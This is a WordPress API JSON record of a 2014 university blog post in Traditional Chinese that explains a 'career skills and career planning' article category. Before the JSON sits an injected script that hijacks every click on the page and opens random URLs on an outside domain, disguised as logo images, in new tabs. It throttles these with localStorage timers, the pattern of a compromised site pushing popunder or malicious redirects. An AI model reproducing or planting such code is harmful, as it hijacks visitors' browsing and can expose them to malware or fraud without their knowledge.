<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":397,"date":"2014-05-11T01:05:02","date_gmt":"2014-05-10T17:05:02","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154128\/?p=397"},"modified":"2014-05-25T21:34:02","modified_gmt":"2014-05-25T13:34:02","slug":"%e8%81%8c%e6%b6%af%e8%a7%84%e5%88%92","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154128\/?p=397","title":{"rendered":"\u300c\u8077\u80fd\u5b78\u7fd2\u8207\u8077\u6daf\u898f\u5283\u300d\u5206\u985e\u8aaa\u660e"},"content":{"rendered":"<p><span style=\"font-size: 12pt; color: #808080;\">\u5927\u5b78\u662f\u8077\u5834\u7684\u929c\u63a5\u6559\u80b2\uff0c\u9664\u4e86\u57fa\u790e\u7684\u5c08\u696d\u79d1\u76ee\u5b78\u7fd2\u5916\uff0c\u66f4\u662f\u5404\u7a2e\u8077\u5834\u80fd\u529b\u7684\u5b78\u7fd2\u8207\u6280\u80fd\u7684\u990a\u6210\u968e\u6bb5\u3002\u7121\u8ad6\u662f\u5e2b\u9577\u3001\u9577\u8f29\u7684\u5efa\u8b70\u3001\u81ea\u5df1\u7684\u793e\u5718\u3001\u505a\u4e8b\u7d93\u9a57\u3001\u6216\u662f\u81ea\u5df1\u91dd\u5c0d\u8077\u5834\u6240\u505a\u7684\u77ad\u89e3\u8abf\u67e5\uff0c\u90fd\u53ef\u4ee5\u628a\u81ea\u5df1\u7684\u5b78\u7fd2\u8207\u611f\u60f3\u8a18\u9304\u4e0b\u4f86\uff1b\u66f4\u53ef\u4ee5\u628a\u81ea\u5df1\u7684\u5c08\u9577\u3001\u7279\u8cea\u8207\u80fd\u529b\uff0c\u900f\u904e\u5b78\u7fd2\u7684\u6587\u7ae0\u8868\u73fe\u51fa\u4f86\u3002\u60a8\u53ef\u4ee5\u52fe\u9078\u300c\u8077\u80fd\u5b78\u7fd2\u8207\u8077\u6daf\u898f\u5283\u300d\u7684\u5206\u985e\uff0c\u4f5c\u70ba\u6587\u7ae0\u67e5\u8a62\u8207\u5206\u985e\u7684\u4f9d\u64da\u3002<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5927\u5b78\u662f\u8077\u5834\u7684\u929c\u63a5\u6559\u80b2\uff0c\u9664\u4e86\u57fa\u790e\u7684\u5c08\u696d\u79d1\u76ee\u5b78\u7fd2\u5916\uff0c\u66f4\u662f\u5404\u7a2e\u8077\u5834\u80fd\u529b\u7684\u5b78\u7fd2\u8207\u6280\u80fd\u7684\u990a<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,7],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/397"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=397"}],"version-history":[{"count":11,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/397\/revisions"}],"predecessor-version":[{"id":694,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=\/wp\/v2\/posts\/397\/revisions\/694"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=397"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=397"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154128\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=397"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}